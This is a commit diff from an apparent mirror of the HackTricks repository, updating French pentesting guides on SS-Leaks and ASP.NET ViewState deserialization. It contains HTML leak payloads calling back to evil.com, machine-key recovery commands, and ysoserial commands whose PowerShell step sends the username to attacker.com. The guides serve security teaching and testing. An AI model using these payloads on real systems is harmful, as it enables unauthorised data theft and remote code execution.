mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss
This commit is contained in:
parent
e7ddfe86ba
commit
93d152936c
23 changed files with 1348 additions and 1371 deletions
|
@ -1,22 +1,24 @@
|
|||
# Fuites de SS
|
||||
# SS-Leaks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Il s'agit d'un **mélange** entre **markup suspendu et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas du JS) dans une page de la **même origine** que celle que nous attaquerons. D'un autre côté, nous n'**attaquerons** pas directement la page dans laquelle nous pouvons injecter du HTML, mais **une autre page**.
|
||||
Ceci est un **mix** entre **dangling markup et XS-Leaks**. D'un côté, la vulnérabilité permet d'**injecter du HTML** (mais pas de JS) dans une page de la **même origine** que celle que nous attaquerons. De l'autre côté, nous n'**attaquerons** pas directement la page où nous pouvons injecter du HTML, mais **une autre page**.
|
||||
|
||||
## Objets imbriqués
|
||||
## Objets Imbriqués
|
||||
|
||||
Si le point de terminaison <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> renvoie un code d'état 404, alors l'objet interne est chargé, donnant un rappel à <mark style="color:yellow;">`https://evil.com?callback=a`</mark> et nous indiquant que la requête de recherche `a` n'a donné aucun résultat.
|
||||
Si le point de terminaison <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> renvoie un code de statut 404, alors l'`object` interne est chargé, donnant un callback à <mark style="color:yellow;">`https://evil.com?callback=a`</mark> et nous informant que la requête de recherche `a` n'a donné aucun résultat.
|
||||
```html
|
||||
<object data="/api/v1/leaky?secret=a">
|
||||
<object data="https://evil.com?callback=a"></object>
|
||||
|
@ -24,11 +26,11 @@ Si le point de terminaison <mark style="color:yellow;">`/api/v1/leaky?secret=a`<
|
|||
```
|
||||
### Chargement paresseux
|
||||
|
||||
Et si CSP bloque les objets externes ? Essayons à nouveau avec le CSP suivant :
|
||||
Et si CSP bloque les objets externes ? Essayons à nouveau avec la CSP suivante :
|
||||
|
||||
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
|
||||
|
||||
Notre rappel `object` précédent ne fonctionne plus. À la place, nous pouvons utiliser le [chargement paresseux](https://developer.mozilla.org/fr/docs/Web/Performance/Lazy_loading) d'images ! L'image suivante ne se chargera que lorsqu'elle sera visible et à une certaine distance de la fenêtre d'affichage.
|
||||
Notre `object` de rappel ci-dessus ne fonctionne plus. À sa place, nous pouvons utiliser le [chargement paresseux](https://developer.mozilla.org/en-US/docs/Web/Performance/Lazy\_loading) d'images ! L'image suivante ne se chargera que lorsqu'elle sera visible et à une certaine distance du viewport.
|
||||
```html
|
||||
<object data="/api/v1/leaky?secret=a">
|
||||
<img src="https://evil.com?callback" loading="lazy">
|
||||
|
@ -36,11 +38,11 @@ Notre rappel `object` précédent ne fonctionne plus. À la place, nous pouvons
|
|||
```
|
||||
### Images Réactives
|
||||
|
||||
La technique ci-dessus est excellente, mais elle repose sur notre injection HTML se trouvant dans le champ de vision de l'utilisateur.
|
||||
La technique ci-dessus est excellente, mais elle dépend de notre injection HTML se trouvant dans le champ de vision de l'utilisateur.
|
||||
|
||||
Si l'injection est hors de l'écran et que l'utilisateur ne fait pas défiler, pouvons-nous toujours divulguer des données ? Bien sûr, nous pouvons utiliser des identifiants d'éléments et [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) pour créer une URL qui force un défilement, mais cela dépend de l'interaction de l'utilisateur et ne nous permet pas d'obtenir des fuites cohérentes dans un scénario réel. Idéalement, nous voulons armer l'injection HTML stockée de manière fiable.
|
||||
Si l'injection est hors écran et que l'utilisateur ne fait pas défiler, pouvons-nous toujours exfiltrer des données ? Bien sûr, nous pouvons utiliser des identifiants d'éléments et [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) pour créer une URL qui force le défilement, mais ceux-ci dépendent de l'interaction de l'utilisateur et ne nous permettent pas d'obtenir des exfiltrations cohérentes dans un scénario réel. Idéalement, nous voulons armer l'injection HTML stockée de manière fiable.
|
||||
|
||||
Entrez les images réactives ! Plus précisément, les attributs `srcset` et `sizes` des images.
|
||||
Entrent en jeu les images réactives ! Spécifiquement, les attributs `srcset` et `sizes` des images.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -50,9 +52,9 @@ Entrez les images réactives ! Plus précisément, les attributs `srcset` et `si
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Il y a plusieurs choses à comprendre ici. Tout d'abord, rappelez-vous que l'iframe interne ne sera visible que si le point de terminaison fuyant renvoie un code d'état 404.
|
||||
Il y a pas mal de choses à déballer ici. Tout d'abord, souvenez-vous que le iframe interne ne sera visible que si le point de terminaison qui fuite retourne un code de statut 404.
|
||||
|
||||
C'est important car nous allons maintenant charger conditionnellement l'image dans l'iframe à partir de deux URL différentes. En utilisant l'attribut `sizes`, nous pouvons utiliser des [requêtes média](https://developer.mozilla.org/fr/docs/Web/CSS/Requ%C3%AAtes_m%C3%A9dia_CSS/Utiliser_des_requ%C3%AAtes_m%C3%A9dia) pour choisir à partir de quelle URL charger l'image, en fonction de la taille de l'affichage.
|
||||
C'est important car nous allons maintenant charger conditionnellement l'image à l'intérieur du iframe à partir de deux URLs différentes. En utilisant l'attribut `sizes`, nous pouvons utiliser des [requêtes média](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries) pour choisir quelle URL charger pour l'image, en fonction de la taille de la fenêtre d'affichage.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -63,10 +65,10 @@ sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Étant donné que notre iframe a une largeur de `width="1000px"`, les événements suivants se produisent :
|
||||
Étant donné que notre iframe a `width="1000px"`, ce qui suit se produit :
|
||||
|
||||
1. Si le point de terminaison de fuite renvoie un code d'état 404, l'iframe est affichée et a une largeur de 1000px. L'image à l'intérieur de l'iframe correspond à la requête média `(min-width: 1000px)` et charge l'image de 800px à partir de `https://evil.com?callback=0`.
|
||||
2. Si le point de terminaison de fuite renvoie un code d'état 200, l'iframe n'est _pas_ affichée. Étant donné que l'image n'est pas rendue dans le cadre d'une grande iframe, elle correspond à la requête média `(max-width 999px)` et charge l'image de 480px à partir de `https://evil.com?callback=1`.
|
||||
1. Si le point de terminaison leaky renvoie un code de statut 404, l'iframe est affiché et a une largeur de 1000px. L'image à l'intérieur de l'iframe correspond à la requête média `(min-width: 1000px)` et charge l'image de 800px depuis `https://evil.com?callback=0`.
|
||||
2. Si le point de terminaison leaky renvoie un code de statut 200, l'iframe n'est _pas_ affiché. Puisque l'image n'est pas rendue comme partie d'un grand iframe, elle correspond à la requête média `(max-width 999px)` et charge l'image de 480px depuis `https://evil.com?callback=1`.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -74,12 +76,14 @@ sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise promue dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière dans le hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -58,11 +60,11 @@ Cependant, ce n'est pas le cas. Si nous **ajoutons le paramètre ViewState** au
|
|||
|
||||
### Cas de test : 2 – .Net < 4.5 et EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
Pour **activer le MAC ViewState** pour une **page spécifique**, nous devons apporter les modifications suivantes dans un fichier aspx spécifique :
|
||||
Pour **activer ViewState MAC** pour une **page spécifique**, nous devons apporter les modifications suivantes dans un fichier aspx spécifique :
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
Nous pouvons également le faire pour l'application **globale** en le configurant dans le fichier **web.config** comme indiqué ci-dessous :
|
||||
Nous pouvons également le faire pour l'**application globale** en le configurant dans le fichier **web.config** comme indiqué ci-dessous :
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
|
@ -87,9 +89,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||
```markdown
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) est un autre outil capable d'identifier les machineKeys connues. Écrit en Python, il ne dépend pas de Windows contrairement à Blacklist3r. Pour les viewstates .NET, il existe une utilité "python blacklist3r", qui est la manière la plus rapide de l'utiliser.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) est un autre outil capable d'identifier les machineKeys connues. Il est écrit en Python, donc contrairement à Blacklist3r, il n'y a pas de dépendance Windows. Pour les viewstates .NET, il existe une utilité "python blacklist3r", qui est la manière la plus rapide de l'utiliser.
|
||||
|
||||
Il peut être fourni directement avec le viewstate et le générateur :
|
||||
Il peut soit être fourni avec le viewstate et le générateur directement :
|
||||
```
|
||||
```
|
||||
pip install badsecrets
|
||||
|
@ -106,13 +108,19 @@ git clone https://github.com/blacklanternsecurity/badsecrets
|
|||
cd badsecrets
|
||||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||||
```
|
||||
Pour rechercher à grande échelle des viewstates vulnérables, en conjonction avec l'énumération de sous-domaines, le module `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) peut être utilisé :
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||
|
||||
Pour rechercher des viewstates vulnérables à grande échelle, en conjonction avec l'énumération de sous-domaines, le module `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) peut être utilisé :
|
||||
```
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
Si vous avez de la chance et que la clé est trouvée, vous pouvez procéder à l'attaque en utilisant [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
Si vous avez de la chance et que la clé est trouvée, vous pouvez procéder à l'attaque en utilisant [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)** :**
|
||||
```
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
|
@ -134,13 +142,13 @@ Dans ce cas, Burp ne détecte pas si le paramètre est protégé par MAC car il
|
|||
|
||||
Par conséquent, si la Machinekey est connue (par exemple, via un problème de traversée de répertoire), la commande [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilisée dans le **Cas 2**, peut être utilisée pour réaliser une exécution de code à distance (RCE) en utilisant la vulnérabilité de désérialisation ViewState.
|
||||
|
||||
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête pour exploiter la vulnérabilité de désérialisation ViewState, sinon cela retournera une erreur de validation MAC de Viewstate et l'exploitation échouera comme illustré dans la Figure :
|
||||
* Supprimez le paramètre `__VIEWSTATEENCRYPTED` de la requête pour exploiter la vulnérabilité de désérialisation ViewState, sinon cela retournera une erreur de validation MAC ViewState et l'exploitation échouera comme illustré dans la Figure :
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
|
||||
### Cas de test : 4 – .Net >= 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true/false sauf les deux attributs à false
|
||||
|
||||
Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramètre ci-dessous à l'intérieur du fichier web.config comme illustré ci-dessous.
|
||||
Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramètre ci-dessous dans le fichier web.config comme indiqué ci-dessous.
|
||||
```markup
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
|
@ -169,24 +177,20 @@ Ou, avec [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (a
|
|||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
```
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||
|
||||
Une fois une clé Machine valide identifiée, **l'étape suivante consiste à générer un payload sérialisé en utilisant** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
Si vous avez la valeur de `__VIEWSTATEGENERATOR`, vous pouvez essayer d'**utiliser** le paramètre `--generator` avec cette valeur et **omettre** les paramètres `--path` et `--apppath`
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
Si la vulnérabilité de désérialisation ViewState est exploitée avec succès, un serveur contrôlé par l'attaquant recevra une requête hors bande contenant le nom d'utilisateur. [PoC de l'exploitation réussie](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
Si la vulnérabilité de désérialisation ViewState est exploitée avec succès, un serveur contrôlé par l'attaquant recevra une demande hors bande contenant le nom d'utilisateur. [PoC de l'exploitation réussie](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys est utilisé
|
||||
|
||||
La propriété **ViewStateUserKey** peut être utilisée pour **défendre** contre une **attaque CSRF**. Si une telle clé a été définie dans l'application et que nous essayons de générer le **ViewState** payload avec les méthodes discutées jusqu'à présent, le **payload ne sera pas traité par l'application**.\
|
||||
Vous devez utiliser un paramètre supplémentaire afin de créer correctement le payload :
|
||||
Vous devez utiliser un paramètre supplémentaire pour créer correctement le payload :
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
|
@ -203,24 +207,26 @@ requête hors bande avec le nom d'utilisateur actuel
|
|||
## Références
|
||||
|
||||
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\
|
||||
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si vous êtes intéressé par une **carrière en hacking** et à hacker l'inviolable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,75 +1,81 @@
|
|||
## Désérialisation DNS Java, GadgetProbe et Scanner de Désérialisation Java
|
||||
# Java DNS Deserialization, GadgetProbe et Java Deserialization Scanner
|
||||
|
||||
## Java DNS Deserialization, GadgetProbe et Java Deserialization Scanner
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
